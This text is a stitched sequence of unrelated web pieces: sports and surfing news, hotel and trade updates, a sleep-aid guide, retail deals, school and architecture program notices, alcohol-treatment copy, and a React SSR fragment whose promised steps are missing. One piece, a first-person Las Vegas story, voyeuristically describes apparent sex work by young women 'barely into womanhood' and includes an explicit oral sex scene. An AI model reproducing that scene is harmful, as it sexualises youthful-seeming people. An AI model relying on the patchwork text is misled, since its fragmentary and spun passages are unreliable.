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Use the speaker for taking call without touching your phone, also good for conference meeting in PC.
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How do I connect the speaker via Bluetooth?
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The package contains: bowl × 1 plate × 1
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Anthony Davis said Luka Doncic and Nikola Jokic “are comedy” back in the All-Star break, and this is probably what he was talking about.
Explaining his ridiculous underhanded shot as the shot clock expired against the Houston Rockets, the Slovenian attributed it to his early bartending experience.
Luka Doncic: I wasn’t surprised. You know when I was young I was bartending, so it’s…
Reporter: What occurred to you just to try that shot?
Luka Doncic: I don’t know the answer to that question. I had a feeling it was going in, but I don’t know. I think there was one second in the clock.
Luka Doncic on his underhanded scoop shot
The five-time All-Star needed to elaborate on that since he turned pro at 16. That said, that particular shot was so unbelievable the reporter felt it needed an explanation.
What’s more ridiculous is that he hit a crazier trick shot before the game. Doncic bounced the ball into the Jumbotron, ricocheted down the backboard, and into the basket.
It was apparently just another day in the office for the 25-year-old. He recorded 47 points, 12 rebounds, and seven assists for the Dallas Mavericks, winners of seven straight and nine of the last 10. The victory halted Houston’s 11-game winning streak.
Dallas’ performance put a temporary setback on the Rockets’ Play-In hopes. Houston had a chance to inch closer to the Golden State Warriors for the 10th seed but is now two games behind after the loss.
In addition, Jalen Green’s string of at least 26 points also ended. The six-foot-four guard finished with only 12 points, along with six rebounds and five assists. He failed to hit a three in five attempts.
Nevertheless, the game was all about Doncic and his performance. If he keeps this up, he won’t be the second-best Maverick for long. | <urn:uuid:cd57b5de-444a-40d8-aec8-9be777e07e38> | CC-MAIN-2024-18 | https://sidelinesources.com/nba/luka-doncic-says-his-bartending-experience-factored-into-the-ridiculous-underhanded-shot-he-made-versus-rockets/ | 2024-04-15T00:23:54Z | s3://commoncrawl/crawl-data/CC-MAIN-2024-18/segments/1712296816904.18/warc/CC-MAIN-20240414223349-20240415013349-00867.warc.gz | en | 0.980393 | 443 |
To prerender static pages of a React application, you can use a technique called Server Side Rendering (SSR). SSR allows you to generate HTML on the server and send it to the client, which can improve performance and provide better SEO.
Here's an overview of the steps you can take to prerender static pages of a React application using SSR:
Overall, prerendering static pages of a React application using SSR can be a bit complex, but it can provide significant benefits in terms of performance and SEO. If you're not familiar with SSR, it's worth taking the time to learn more about it before attempting to implement it in your own React applications.
There are a few different approaches you can take to prerender static pages in a React application. Here are a couple of common methods:
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Australian Blake Johnston on Friday shredded the world record for the longest surfing session, dodging swarms of jellyfish to ride hundreds of waves across 40 punishing hours.
The 40-year-old former surfing pro broke down in tears after smashing South African Josh Enslin’s previous record of 30 hours and 11 minutes.
Johnston surfed back to shore in the evening to rapturous applause from hundreds of supporters who had gathered at Sydney’s Cronulla Beach to watch.
Wearing a black cowboy hat and draped in a thermal blanket, he was carried off the beach on his friends’ shoulders after finally hanging up his surfboard.
Johnston raised more than Aus$330,000 (US$221,000) for mental health, taking on the record to mark 10 years since losing his father to suicide.
He rode more than 700 waves in setting the record, braving pitch-black seas that are home to many species of shark.
“I’ve still got a job to do. I said 40 (hours) so I’ll go and give it a crack,” he told reporters earlier in the day, after passing the previous 30-hour record.
“I’m pretty cooked, yeah, but we’ll push through.”
Johnston eventually surfed for more than 40 hours — having started at 1:00 am on Thursday, using large spotlights to illuminate the water — but his official record time was not immediately known.
Under the rules of the attempt, he was allowed to sporadically leave the ocean so he could soothe his eyes with eyedrops, refuel with snacks and lather himself up in sunscreen.
Medics would check his heart rate and blood pressure before he dashed back into the swell.
With Sydney in the grip of a minor heatwave, the water temperature has been hovering around a balmy 24 degrees Celsius (75 degrees Fahrenheit), lessening the risk of hypothermia.
Johnston had originally planned to raise money by tackling a 1,000-kilometre run (620 miles), but settled on surfing when he saw the previous record was “only” 30 hours.
“I thought I could just do it,” he said before the attempt.
“I push myself to the limits with my adventures and to prove to myself that I’m worthy and can get through hard times, and that’s when my lessons are learnt.”
He anticipated infected ears, dehydration and sleep deprivation would push his body to its limits.
Johnston’s brother Ben said they had also prepared for the possibility of a shark attack, but it wasn’t something that had worried them.
“I surfed at two in the morning with him and the lights actually went out so it was pitch black,” he told national broadcaster ABC.
“There were a whole bunch of jellyfish out there, so it was interesting to say the least.”
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The department continues to allocate its resources to areas of highest priority and implement COVID safe practices to minimise impacts to staff and industry. We are also working to address inspection delays where we can, while we manage ever-increasing biosecurity risks.
The global supply chain continues to be challenged, and despite some evidence of consumer spending slowing due to inflationary pressures, there remains ongoing congestion at major hubs and inland networks. Overflow of volume has been seen to neighbouring ports due to industrial action across parts of the US, UK and Germany, in addition to weather issues, ongoing issues related to the Ukraine conflict, and the fact that ports are continuing to work through large volumes of backlog cargo.
Trade volumes to Australia remain strong however congestion continues to be seen in the Oceania region due to severe weather and vessel bunching. Locally the supply chain remains resilient and we continue to monitor the situation ahead of peak season.
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For Better or Worse: The Place of Harry Potter in Current Political Discussions
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IHG's planned Regent brand expansion is gearing up in China, but it shouldn't be seen as a sign of an overall coronavirus recovery for Asian hotels.
While coronavirus may have temporarily dampened the world’s appetite for travel, IHG is forging ahead with its planned expansion of the Regent hotel brand.
IHG signed a management agreement with Shanghai 21st Century Hotel Co. for what will become the Regent Shanghai Pudong. The Shanghai hotel will be the first new Regent hotel since IHG acquired a 51 percent stake in the Taiwan-based luxury hotel chain in 2018. The hotel, currently flagged as the Four Seasons Hotel Pudong, Shanghai, will open under its new brand affiliation on May 16. IHG will also manage the residential component of the tower as part of the management agreement.
“Welcoming Regent Shanghai Pudong to the Regent family represents a significant milestone for the brand not only in Greater China but also in the world,” Regent Hotels & Resorts at IHG Managing Director Justin Channe said in a statement. “Since acquisition we have been committed to making the brand a real leader within luxury hospitality and taking it to the world’s best destinations.”
The Shanghai opening comes as IHG plans to expand the Regent brand as its own ultra-luxury competitor to the likes of the Four Seasons and Mandarin Oriental flags. At the time of the 2018 acquisition, there were six Regent hotels in the world and IHG said it planned to grow the brand to more than 40 properties.
IHG is also underway with a renovation to the InterContinental Hong Kong and plans to reopen it as a Regent hotel in 2021. New Regent hotels are planned to open in Vietnam later this year as well as in Bali, Indonesia, in 2021 and Kuala Lampur, Malaysia, and Chengdu, China, in 2023.
An IHG spokesperson did not respond in time for publication for additional comment. IHG also owns its eponymous InterContinental Hotels & Resorts flag as well as other brands like Kimpton Hotels & Restaurants, Hualuxe Hotels & Resorts, and Crowne Plaza Hotels & Resorts.
The Regent brand expansion arrives as the hotel industry in mainland China is showing initial signs of a recovery following the coronavirus outbreak, according to STR. Mainland China occupancy reached a 7 percent low in early February but got as high as 32 percent on March 28. The highest occupancy rates reported in China last month were in Xi’an and Chengdu, which both had a nearly 36 percent occupancy on March 28. Shanghai reached a 29 percent occupancy rate at the end of March.
Almost 90 percent of the hotels in mainland China are open after many had closed for two months over coronavirus, STR reports.
“We’re seeing green shoots in hotel occupancy figures, but we must stress that these are only early signs of a recovery that is likely to develop slowly,” STR North Asia Regional Manager Christine Liu said in a statement.
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Exploring Top Natural Sleep Aids
With a significant portion of U.S. adults not achieving the recommended seven to nine hours of sleep per night, natural sleep aids have become a sought-after solution for improving sleep quality. These remedies range from hormones like melatonin to herbal supplements such as valerian root and magnesium.
- Melatonin: Often referred to as ‘nature’s sleep hormone,’ melatonin plays a crucial role in regulating sleep-wake cycles. While some studies, including those published in the Journal of Clinical Endocrinology and Metabolism and Journal of Sleep Medicine Reviews, indicate its effectiveness, it is important to understand how it works and that it may not be suitable for chronic insomnia.
- Valerian Root: This herb is known for its sedative properties and has been found in small studies to potentially reduce time taken to fall asleep and decrease night wakings.
- Magnesium: As an essential mineral involved in muscle relaxation and nervous system regulation, magnesium can contribute positively to sleep quality. However, it’s worth noting that absorption decreases with age, and high doses may have laxative effects.
In addition to these supplements, essential oils like lavender have been used through diffusion before bed to promote relaxation. It’s also advised that third-party testing is an important factor when selecting these aids due to concerns about purity and content accuracy. Ultimately, while there are promising benefits associated with natural sleep aids, individuals should consult healthcare providers before starting any new supplement regimen.
Understanding Melatonin and Its Effects on Sleep
Melatonin, often referred to as the ‘sleep hormone’, is integral to our body’s ability to regulate the sleep-wake cycle. Produced by the pineal gland in response to darkness, melatonin levels rise in the evening to promote sleep and fall in the morning to help wake us up. With age, natural production can decline, which may affect sleep patterns.
Supplemental melatonin has become increasingly popular. According to Mayo Clinic research, usage among U.S. adults has seen a fivefold increase. As a supplement, it serves as a circadian trigger rather than a direct sedative. It helps align our biological clock with night and day, facilitating easier transitions into sleep.
While generally safe for adults, there are considerations before taking melatonin supplements. The American Academy of Sleep Medicine suggests that evidence on effectiveness for chronic insomnia is not strong enough for a general recommendation of use. However, it can be beneficial for certain conditions like Delayed Sleep-Wake Phase Disorder (DSWPD) or jet lag.
Experts from institutions such as Johns Hopkins Medicine recommend low doses (1-3 mg) taken two hours before bedtime for best results and caution against overuse which could potentially affect circadian rhythms negatively.
In summary, while supplemental melatonin can aid in synchronizing our internal clocks with environmental cues, individual responses vary and it should be used judiciously under guidance from health professionals.
Valerian Root: A Natural Remedy for Sleep
Valerian root has been traditionally used to alleviate insomnia and improve the quality of sleep. This herbal remedy is available in various forms, such as teas, capsules, and tinctures. Systematic reviews and meta-analyses have suggested that valerian might enhance sleep quality without significant side effects.
- Sedative Effects: Valerian root contains compounds that may increase gamma-aminobutyric acid (GABA) in the brain, a neurotransmitter that helps regulate nerve impulses and is associated with promoting calmness and reducing anxiety.
- Safety Profile: Generally considered safe for short-term use, valerian has been found to be an effective herb to promote sleep without the dependency risks associated with some pharmaceutical sleep aids. However, long-term treatment for chronic insomnia should be approached with caution.
- Dosing Variability: Research indicates a wide range of dosages used in studies, suggesting more standardized quality control processes are needed. Dosages typically range from 225 mg to 1,215 mg per day.
While valerian can be beneficial for improving sleep, it’s important for users to source their supplements from reputable suppliers due to the variability in quality and dosing. As always with herbal supplements not closely monitored by the FDA, consumers should exercise caution and consider consulting healthcare professionals before use.
The Calming Brew: Understanding ‘Sleepy’ Teas and Their Ingredients
Herbal teas have long been cherished for their soothing properties, especially when it comes to promoting restful sleep. Chamomile tea, recognized for its mild sedative effects, is a staple ingredient in many bedtime blends. It contains apigenin, an antioxidant that binds to certain receptors in the brain potentially reducing insomnia and promoting tranquility.
Lavender tea is another popular choice, famed not only for its aromatic qualities but also for its ability to enhance relaxation. Studies suggest that the scent of lavender alone may help improve sleep quality by increasing time spent in deep, slow-wave sleep.
Other noteworthy herbs commonly found in ‘sleepy’ teas include:
- Magnolia Bark: Used traditionally in Chinese medicine, magnolia bark may aid sleep through compounds that affect the GABA system.
- Valerian Root: With valepotriates and sesquiterpenes acting as natural sedatives, valerian root has been shown to improve sleep quality.
- Lemon Balm: This herb can provide an improved quality of life by inducing calmness and reducing stress.
- Passionflower: Known to contain flavonoids that interact with brain receptors similarly to benzodiazepines, passionflower might help alleviate anxiety.
Incorporating these teas into a nighttime routine could be beneficial for those seeking natural ways to drift off to dreamland. However, individual responses vary; what works well for one person may not have the same effect on another. It’s also recommended to enjoy these teas well before bedtime to prevent nocturnal awakenings due to bathroom visits.
Magnesium: Essential Mineral for Sleep and Relaxation
Magnesium, an essential mineral, is vital for numerous bodily functions, including muscle relaxation and nervous system regulation, both of which are crucial for achieving restful sleep. According to research, magnesium plays a pivotal role in nerve transmission and neuromuscular coordination while also protecting against excitotoxicity.
One key mechanism by which magnesium promotes relaxation is through its influence on neurotransmitters. It helps regulate neurotransmitters that facilitate communication between the brain and the nervous system, directly impacting sleep quality. Furthermore, magnesium activates gamma-aminobutyric acid (GABA) receptors in the brain—increasing GABA levels—which slows down brain activity and encourages a state of calm.
Magnesium’s interaction with melatonin, the hormone responsible for regulating sleep-wake cycles, further underscores its significance in maintaining healthy sleep patterns. By binding to melatonin receptors, it can help synchronize our circadian rhythms with natural light-dark cycles.
While magnesium can be obtained through diet—with foods like leafy greens, nuts, seeds, and whole grains being rich sources—supplementation may be beneficial when dietary intake is insufficient or when an individual has increased requirements. However, it’s important to note that excessive intake from supplements may lead to adverse effects and should not exceed recommended daily dosages.
In summary, incorporating adequate amounts of magnesium into one’s diet or through careful supplementation can support muscle relaxation and improve overall sleep quality by modulating neurotransmitter activity and ensuring proper functioning of the parasympathetic nervous system.
Vitamin & Supplement Sleep Aids
Vitamins and supplements have become a popular choice for individuals seeking to improve their sleep quality. According to the Sleep Foundation, certain vitamins are essential for maintaining healthy sleep patterns, yet many people do not get an adequate supply from their diet alone. Supplements like melatonin, which is naturally produced by the body to regulate sleep-wake cycles, are widely used. However, it’s important to understand how these supplements work and their appropriate dosages.
Research from sources such as the Journal of Clinical Endocrinology and Metabolism indicates that melatonin can help with sleep when used correctly. Similarly, valerian root has been recognized for its sedative properties and potential to reduce night wakings. Magnesium plays a crucial role in muscle relaxation and nervous system regulation, which can contribute to improved sleep quality.
When considering natural sleep aids, third-party testing is vital for ensuring product safety and efficacy. For instance, tart cherry juice has been shown to raise melatonin levels while providing tryptophan – both beneficial for sleep health. Passionflower is another supplement with historical use as a sedative by indigenous cultures.
- Melatonin: Helps signal the body it’s time for rest.
- Valerian Root: May decrease time needed to fall asleep.
- Magnesium: Essential mineral aiding relaxation.
- Tart Cherry Juice: Natural source of melatonin and tryptophan.
- Passionflower: Known for its calming effects on the nervous system.
It’s essential for consumers to be aware of potential interactions between these supplements and medications or alcohol. Furthermore, natural does not always mean risk-free; proper dosage and consultation with healthcare providers are recommended before incorporating any new supplement into one’s routine.
L-Theanine’s Role in Enhancing Sleep Quality
L-theanine, a unique amino acid found primarily in tea leaves, is gaining attention for its potential benefits in improving sleep quality. A study suggests that L-theanine promotes relaxation without inducing drowsiness, making it an appealing option for those seeking a restful night without the grogginess often associated with sleep aids.
- Impact on Brain Waves: Research indicates that L-theanine increases alpha brain waves, which are prevalent during states of relaxation. This effect can facilitate the transition into a peaceful state conducive to sleep.
- Anxiety and Stress Relief: Clinical trials have shown antianxiety effects from L-theanine consumption. By reducing stress levels, it may make it easier for individuals to fall asleep and stay asleep throughout the night.
- Sleep Quality Improvement: A combination of L-theanine and GABA supplements was found to enhance both the quality and length of sleep in a 2019 study.
The method of consuming L-theanine also plays a role; for example, brewing time and temperature affect the extraction from tea leaves. To maximize benefits, proper steeping practices are recommended. Moreover, different types of tea contain varying amounts of this amino acid, with white and green teas typically having higher concentrations than black teas.
In summary, while further research is needed to fully understand all aspects of how L-theanine contributes to better sleep, current evidence points towards its ability to calm the mind and improve overall sleep quality without next-day side effects.
Magnesium: Mineral for Relaxation
Magnesium plays a critical role in promoting relaxation and improving sleep quality. It is involved in over 300 biochemical reactions in the body, including those that regulate the nervous system. This essential mineral helps to calm the nervous system by binding to gamma-aminobutyric acid (GABA) receptors—GABA is the neurotransmitter responsible for quieting down nerve activity.
Studies have shown that magnesium can improve sleep efficiency, increase sleep time, and reduce early morning waking. Research indicates that an adequate intake of magnesium can help alleviate insomnia symptoms, particularly in older adults. Additionally, it may help reduce levels of cortisol, the stress hormone that can disrupt sleep.
- Muscle relaxation: Magnesium aids in muscle relaxation which can lead to a more restful night’s sleep.
- Sleep regulation: By helping to maintain healthy levels of GABA, magnesium supplements may encourage a better sleep cycle.
To incorporate magnesium into your sleep routine naturally, consider foods rich in this mineral such as almonds, spinach, and whole grains or discuss with your healthcare provider about supplementation if dietary measures are insufficient.
Frequently Asked Questions
Natural sleep aids are substances derived from nature, such as herbs, amino acids, and minerals, that are used to improve sleep quality and duration. They work by influencing various biological processes and neurotransmitter systems in the body that regulate sleep, such as melatonin production, GABA activity, and serotonin levels.
Over-the-counter sleep aids, while effective for short-term sleep disturbances, are not recommended for long-term use. Prolonged use can lead to dependence, tolerance, and potential side effects. It's important to consult a healthcare provider for persistent sleep issues to identify and treat underlying causes.
Examples of researched natural sleep aids include melatonin, valerian root, magnesium, and lavender. These substances have been studied for their potential to improve sleep quality and help individuals fall asleep faster. However, effectiveness can vary from person to person.
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If you don't record with Garmin's skiing/snowboarding activity profile then your data will not be imported into Slopes.
If you're not sure if your watch has this functionality, you can check on their website. Pick your product → Specs → scroll down to "Outdoor Recreation". If you can use it for skiing/snowboarding, these activities will be listed in "Available Outdoor Recreation Profiles". Alternatively you can look up your device's details via their support center.
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During the summer, beneath the droning rooftop HVAC machines and the soft lapping of the swimming pool, a curious tableau played out on the periphery of my Las Vegas residence complex’ patio.
Given this city’s transient nature, the estrangement of its more settled residents to newcomers, to each other, events occur here that pass with scant attention but certainly would elicit notice and comment elsewhere.
One should or could wonder whether the environment permits such lassitude or does it derive from such shallow nearly nonexistent roots that fuels an anything goes ethos because who particularly cares? No one?
I arrived just before real estate prices began rebounding. This centrally located address wasn’t decrepit but certain facets of it needed renovation. Absentee owners had made much of the property available for rentals. Most of the renters demonstrated little pride of place. Those owners residing here fairly remained out of sight probably praying for any miracle that would restore any portion of their property’s pre-recession values.
Answered prayers came in the form of Californians escaping the Golden State’s comparatively onerous tax burdens. They spied Nevada’s potential from afar and invested. Change wasn’t swift, however once begun inexorable.
Undesirables were evicted once their leases expired. The vacant spaces were spruced up and rented to worthier tenants whose greater wherewithal fueled revival.
This being Vegas, without question in more than several instances cash vastly outweighed first impressions and gut instincts, overturning any better judgments often used to gauge prospective tenants. One renter in particular must’ve evinced the best image because the eventual truth wouldn’t have gotten her and her coterie beyond the security gate for a look-see, much less the month-to-month lease signed.
A Russian woman, Nelli stood somewhere in her hard 40s. Easy imaging Nelli during her coquette phase having been striking. Then, her hawk-like visage beneath a lush auburn mane likely grasped men and captivated us through its relentlessness. Brown eyes set into stark features atop a ramrod posture enhanced her slight upper carriage and the brief flare of her hips. But the years and whatever they’d demanded of her had hardened what might’ve transfixed to severity.
Nelli presided as housemother over three nearly identical women barely into womanhood. Upon casual glances they aptly fit the definition of pixies. Or sprites. Closer inspection revealed her charges as in their late teens or earliest 20s. Among themselves they spoke Russian. With Americans Nelli got by in the most rudimentary English while lack of minimal proficiency limited her corps to basic greetings before hurrying into charmless cobalt doe-eyed silence.
All corn silk blondes, the pale – so pale that illuminated under the Mojave sun they became alabaster – young women could easily have been mistaken for gymnasts or tumblers. Maybe at one time each had been.
Feminine as they were, the impish trio exhibited lean musculature, the sort borne of intensive exercises and regimens which banished every excess ounce. Like their mentor each smoked heavily. Answering frequent nic fits exposed them to nosy eyes. Only this habit permitted us more than peeps of them.
Broil as the Mojave does during summers, never once did they splash in the swimming pool set amid the patio. Instead the blondes remained ensconced inside the duplex they rented. We only glimpsed them traversing front door to the SUVs which either whisked them away or brought them back to their lair.
Only by chance did I ever learn what occupied this quartet.
A forgotten item detoured me one night. Since the residence’s upgrades, coming home had lost its potential for unpleasantness. Much less worry these days about crossing paths with any vagrants who found our concrete courtyard a comfy or convenient spot to flop for the evening.
With safety improved lighting which once flooded the square had been muted. Now the lumens were moody instead of harsh. Less clarity meant more shadows and these permitted imagination to roam.
Stepping inside the enclosure on the way to my door a vague figure detached himself from the gloom. He dragged on a cigarette, the ember flared red against his glass’ lenses.
Initially I thought him a renter. Approaching him he revealed himself a fellow owner, one of the few who actually resided at his property. He was retired military. Las Vegas teemed with them. He continually inflicted his old post bearing on us through his constantly squared-away demeanor. Oh, and he always wore some garb sporting service insignia. Otherwise he was just another unknown neighbor. We strangers recognized each other enough to nod greeting.
Where he stood in relation to his residence’s location didn’t jibe. If one caught the nighttime air or sought a smoke without fouling one’s own home wouldn’t either have been done in proximity?
Stock-still as he remained, movement shone off his glasses. I traced his line of sight. It led across the patio to Nelli’s duplex, specifically the second floor bedroom; the one looking over the common square containing the pool. Curtains had been drawn back, shades raised. Room lights blazed forth and flashed. There, framed inside the picture window a curious sight.
One of her pixies used the bed as a trampoline – assuming there was a bed. Who knew? Perhaps the bed had been laid aside and a small trampoline installed. She jumped low and down, performing an occasional languid yawning split in that squeezed space. No dangerous maneuvers like somersaults. Furthermore, a man filmed her. Rather than remain stationary, he circled her. All this and the light mounted upon his camcorder created the motion on their mesmerized observer’s cheaters.
The cameraman roamed the room shirtless. The gizmo hid his face. Our angle from below presented him from the waist up. The pair comprising this scene’s audience must’ve mutually assumed him naked.
Arriving late, for a time I thought his acrobat filled a flesh-tone leotard. When his athlete ended her exertions only then did it become obvious she performed nude. Distance, activity, her pallor, and a pube lighter than the locks atop her head or shorn altogether cloaked her lack of garment.
They conversed momentarily. By turns coy, huffy, and cloying she went through the pantomime of negotiating. Having made a game of inevitably agreeing to his terms, she stepped off whatever surface supported her. She shrunk.
Standing on the floor, the young woman’s head barely reached his chest. He gestured downward with the camera. She complied and kneeled, disappearing beneath the window sill. The cameraman pointed his lens straight down. His free hand followed his focus.
It didn’t strain male imagination seeing him taken into her mouth. Less so envisioning her eyes rolled back in order to stifle any gag reflex. The other participant of the select audience sparked up another cigarette. I remembered my reason for being there and departed.
So engrossed had I been in the drama above I never saw that we also engaged attention. Across from us her outline hazed by the pool’s dull lamps, Nelli. Flame flickering from her lighter while igniting a cigarette dispelled murk and bathed her sharp features in almost Mephistophelian ochre.
No mistaking Nelli for the devil, though. She merely served as an adjunct. One of his multitudes in Las Vegas.
I didn’t bother wondering what Nelli thought of us voyeurs. Probably facile contempt sufficed.
Several days later, and it was during daylight hours, I met Nelli when she was leaving the laundry room. A loaded basket she toted brimmed with clothes. Strange. Until then I hadn’t thought of her or any of her cohort doing domestic chores. How far-fetched would it have been for them to have employed a “Beulah” for cooking and cleaning?
Didn’t that quartet seem the types who lounged around in boudoir settings, wearing lingerie and mules waiting for “gentlemen callers” when they themselves weren’t out delivering the goods? How little they’d revealed of themselves, and how easy it was to project upon them.
I don’t know why but in a city where everyone and anyone can do his or her own thing and seldom risk judgment Nelli tried alibiing the prior evening’s show. Open as the den mother might’ve hoped appearing she came across as unnecessarily defensive.
The window was meant to have been covered. The situation just arose and no one thought. They refrained from doing much “entertaining” at home but that “guest” was insistent.
Nelli had been searching for a house to rent. That evening’s slip hastened her hunt with urgency. More room and privacy were sought. She emphasized the privacy part.
Giving Nelli a breath of relief I suggested the “guest” was too cheap to fork over for a suite somewhere on the Strip, adding I knew none of what he saved went towards the girl.
My straight talk lessened distance between us quickly. In a roundabout way made more circuitous by her choppy English, Nelli pondered aloud whether I was “in the game.” In some facet of “the game.”
If she saw me as involved, I hoped she regarded me as a procurer, not talent. Anyway I straightened her out by stating my tasks included all sorts of people and excluded very few here in Las Vegas. Seeing a chance to drum up some business I offered her my card.
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This deal from Best Buy Canada is a pretty hot one, considering that you will be getting an HP Envy X2 13.3″ Touch Convertible Laptop bundle for almost $400 off the original price of $1,398.96. Right now, when you shop online at Best Buy Canada, you can get this bundle for the lowly price of $999.96. Included in your package will be:
- HP Envy X2 Touch Convertible laptop
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Another hot deal going on right now at Best Buy, that is kind of on the opposite side of the tech spectrum, is the offer where when you spend $100 or more on VIVA, Kitchen and Dining and Home Decor you will be able to buy this limited edition pearl necklace and earrings set for just $9.99. The pearl set is valued to be worth $129.99, meaning you’ll be saving yourself $120 when you buy it with something from one of the specified categories that exceeds $100. An idea of what you may purchase? This Fitbit Charge Fitness Tracker is included as one of the qualifying products, and it is currently being sold for $149.99 which is just above the $100 minimum.
Best Buy Canada will be offering this pearl necklace set at this price until May 7th, and the Microsoft bundle package at the advertised price until April 30th.
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Most couples who want to marry in the Smoky Mountains enjoy the gazebo location on my property. It’s in a wooded setting with an 8’ waterfall next to it. In season there are also flower gardens that make a nice background for pictures. Gazebo is covered in case of rain. *Cabin ceremonies are also available for larger groups.
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The lower secondary education starts from the 5th form and continues for 6 years until the 10th form. Lower secondary education is mainly provided by pro-gymnasiums, in some cases also by gymnasiums or basic schools; from the 9th form it could be implemented by vocational schools in combination with vocational training programme. In Lithuania, education is compulsory for pupils until they reach 16 years. Compulsory education is usually provided up to the 10th form.
Lithuanian is the language of instruction in most schools except for national minority schools, where language of instruction is that of the national minority - Belarusian, Polish, Russian or German. In some national minority schools bilingual education is implemented.
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This fall term Princeton University School of Architecture, in collaboration with Trenton Central High School, launched Princeton ArcPrep, a program introducing Trenton high school students to the discipline of architecture through an immersive, semester-long course on architecture, urbanism, and integrated design studio practices. Unlike other architecture high school programs, ArcPrep’s studio instruction is not an extra-curricular activity; it’s embedded within the high school curriculum and the daily schedule of participating students.
Princeton ArcPrep aims to diversify the field of architecture by providing comprehensive support, guidance, and academic and cultural enrichment to students who are typically underrepresented in American architecture schools and thus the profession of architecture. A rigorous academic program, Princeton ArcPrep helps participating students develop skills, knowledge and awareness related to careers in architecture and to aid in college readiness. The inaugural class comprises of 15 Trenton Central High School sophomores selected for their academic standing and interest in architecture.
Mónica Ponce de León, Dean of Princeton University School of Architecture, is Program Director, and Katie Zaeh '10, Princeton School of Architecture Architectural Design Fellow, is Program Instructor. Princeton University School of Architecture provides programmatic support, and Trenton Public Education Foundation (TPEF) has raised $18,500 to support the program with the help of LENNAR - We Care Foundation, NJM Foundation, West Windsor Gardens, Sharbell Development Corporation, Eckert Seamans Charitable Foundation, and Mary Jo and James C. Hedden.
Ponce de León stated, “Princeton ArcPrep is introducing some of our region’s most promising students to architecture, a field that has historically lacked diversity. I am deeply committed to providing these students—all of whom have an aptitude for architecture but lack access to formal training and support—an opportunity to develop the skills that will propel them into a successful career.” Ponce de León’s commitment continues after launching a successful ArcPrep program in Detroit while she was dean at the University of Michigan. The program, which she created with then associate dean Milton S.F. Curry, was inaugurated in 2015 and continues today with over 200 graduates to date.
Princeton ArcPrep students spend three hours a day, four days a week in studio with Program Instructor Katie Zaeh at Trenton Central High School studying architecture through a project-based learning curriculum. On the fifth day, they participate in either a career exposure module learning from guest speakers and going on site visits with architecture firms, or in a career counseling module in which they are mentored and work on preparing for interviews and presentations, creating resumes and design portfolios, and prepare for the college application process and financial aid and scholarships. Creating the design portfolios opens up new possibilities since they are critical for college admittance in design and architecture fields.
Zaeh stated, “By nature, architecture is multi-disciplinary and requires students to reach into their archive of knowledge and apply it to their projects. It challenges them to reconsider their prior education in math, social studies, language arts, and science from a designer’s perspective. Knowledge becomes an active asset instead of a static memory.”
After completing the program, Princeton ArcPrep students can continue to pursue their interest in architecture and design through an afterschool Architecture Club at Trenton Central High School. Princeton ArcPrep will also support students as they transition to college.
Architecture is a discipline that constructs culture and designs the built environment all around us. While our communities are diverse, architecture lacks diverse representation and a diverse voice. Of all registered architects in the United States, less than 2% are African American and only 3% are Latino (American Institute of Architects 2014).
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Author: James Anderson
Treatment for Alcohol Problems: Finding and Getting Help National Institute on Alcohol Abuse and Alcoholism NIAAA
If you’re concerned that someone you know may be struggling with alcoholism and don’t know where to turn, Nexus is here to help. Our trusted and compassionate recovery advisors will provide a free, confidential consultation so you can decide on a course of action for treatment. Contact Nexus today and get started on the road to recovery. In an alcoholic, the brain’s pleasure centers, as well as neurotransmitters that affect brain stimulation, are essentially out of whack.
Understanding the available treatment options—from behavioral therapies and medications to mutual-support groups—is the first step. The important thing is to remain engaged in whatever method you choose. Overall, gather as much information as you can about the program or provider before making a decision on treatment. If you know someone who has first-hand knowledge of the program, it may help to ask about his or her personal experience. It is important to remember that not all people will respond to medications, but for a subset of individuals, they can be an important tool in overcoming alcohol dependence. Researchers from Oregon Health & Science University implanted the therapy directly into the brains of rhesus monkeys that had been conditioned to drink eight to 10 alcoholic drinks a day.
Having consistent accountability and support can make all the difference when it comes to abstaining from alcohol long-term. Though there may be no easy “cure” for alcoholism, or alcohol use disorder, the condition is treatable. Ongoing treatment and continued recovery efforts can be helpful in successfully managing alcoholism and preventing relapse in the long term. Read on to learn more about the disease of alcoholism and how it is treated. Treatment for alcohol use disorder can vary, depending on your needs.
Outpatient treatment provides daily support while allowing the person to live at home. An addiction rehab program is an important step in the recovery process for those struggling with alcohol abuse and addiction. It helps individuals gain access to specialized care and support services that are tailored to their needs. The program also provides a safe, comfortable setting where individuals can focus on recovery without triggers or distractions from everyday life. Depression and anxiety often go hand in hand with heavy drinking.
Care at Mayo Clinic
Most people benefit from regular checkups with a treatment provider. Medications also can deter drinking during times when individuals may be at greater risk of relapse (e.g., divorce, death of a family member). Alcoholics Anonymous (AA) and other 12-step programs provide peer support for people quitting or cutting back on their drinking. Combined with treatment led by health professionals, mutual-support groups can offer a valuable added layer of support. For serious alcohol use disorder, you may need a stay at a residential treatment facility.
All approved medications are non-addictive and can be used alone or in combination with other forms of treatment. “I think it’d be appropriate for individuals where other treatment modalities just weren’t effective, and they’re worried for their lives,” Grant said. Be prepared to discuss any problems that alcohol may be causing.
Types of Behavioral Treatments
These facilities will provide you with 24-hour care as you withdraw from alcohol and recover from your addiction. Once you’re well enough to leave, you’ll need to continue to receive treatment on an outpatient basis. Alcoholism has been known by a variety of terms, including alcohol abuse and alcohol dependence. However, just because the symptoms go away, we are not cured. If we were to lose our spiritual fitness by letting up on our recovery program, we are likely to relapse.
- Read on to learn more about the disease of alcoholism and how it is treated.
- An important first step is to learn more about alcohol use disorder and your treatment options.
- Many people find that a combination of treatments works best, and you can get them together through a program.
- Three medications are currently approved in the United States to help people stop or reduce their drinking and prevent relapse.
- It may help improve function of brain cells that synthesize dopamine, effectively resetting the whole system and reducing the urge to drink.
Your healthcare provider can help you evaluate the pros and cons of each. Ideally, health professionals would be able to identify which AUD treatment is most effective for each person. NIAAA and other organizations are conducting research to identify genes and other factors that can predict how well someone will respond to a particular treatment. These advances could optimize how treatment decisions are made in the future. Due to the anonymous nature of mutual-support groups, it is difficult for researchers to determine their success rates compared with those led by health professionals.
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But another problem is that many health care professionals don’t recognize and treat alcohol use disorder in patients who do seek care. Those seeking treatment for alcohol use disorder can find a qualified provider at the American Academy of Addiction Psychiatry or American Society of Addiction Medicine directories. There are four FDA-approved treatments for alcohol use disorder and a few more medications that health care providers can prescribe off-label. Today, treatment for alcohol use disorder ranges from a brief conversation with a health care provider, in mild cases, to psychiatric treatment or medication in moderate or severe cases. If a relapse occurs, it’s important to remember that this is not a sign of failure, but a blip on the road to lifelong sobriety.
